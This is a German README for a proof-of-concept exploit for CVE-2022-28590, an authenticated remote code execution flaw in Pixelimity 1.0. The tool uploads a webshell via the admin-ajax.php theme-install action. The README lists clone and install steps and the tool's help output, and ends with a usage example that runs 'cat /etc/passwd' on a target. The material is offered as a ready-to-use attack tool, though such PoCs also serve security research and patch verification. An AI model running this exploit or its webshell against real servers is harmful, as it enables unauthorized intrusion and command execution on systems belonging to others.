
Proof-of-Concept-Exploit für CVE-2022-28590, eine Schwachstelle zur Remote-Codeausführung in Pixelimity 1.0. Lädt eine Webshell über admin-ajax.php hoch für die Ausführung von Befehlen nach Authentifizierung.
Die ursprüngliche Entdeckung und der manuelle PoC stammen von tuando243:
Eine Remote Code Execution (RCE)-Sicherheitslücke existiert in Pixelimity 1.0 über admin/admin-ajax.php?action=install_theme.
Dieser PoC lädt eine einfache Webshell für die weitere Remotecodeausführung hoch. Dieser Exploit erwartet vom Server, dass die system()-Funktion erlaubt ist, andernfalls muss vorher eine Aufklärung durchgeführt werden, um zu erkennen, welche Funktion die Ausführung neben system() erlaubt.
git clone https://github.com/jcarabantes/CVE-2022-28590.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-28590.py -h
python CVE-2022-28590.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ ___ ___
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ ( _ )| __)/ _ \ / _ \
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ / _ \|__ \_ /( (_) )
\___) \/ (____) (____)\___/(____)(____) (____)\___/(___/ (_/ \___/
Vulnerability discovered by tuando243
PoC author: @javicarabantes
usage: CVE-2022-28590.py [-h] [-d] [-q] --url URL --user USER [--password PASSWORD] [-c COMMAND]
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL url: https://server:8081/
--user USER admin user
--password PASSWORD admin password
-c COMMAND Command to execute. Default: id
python CVE-2022-28590.py --url http://localhost:8082 --user myuser -c "cat /etc/passwd"
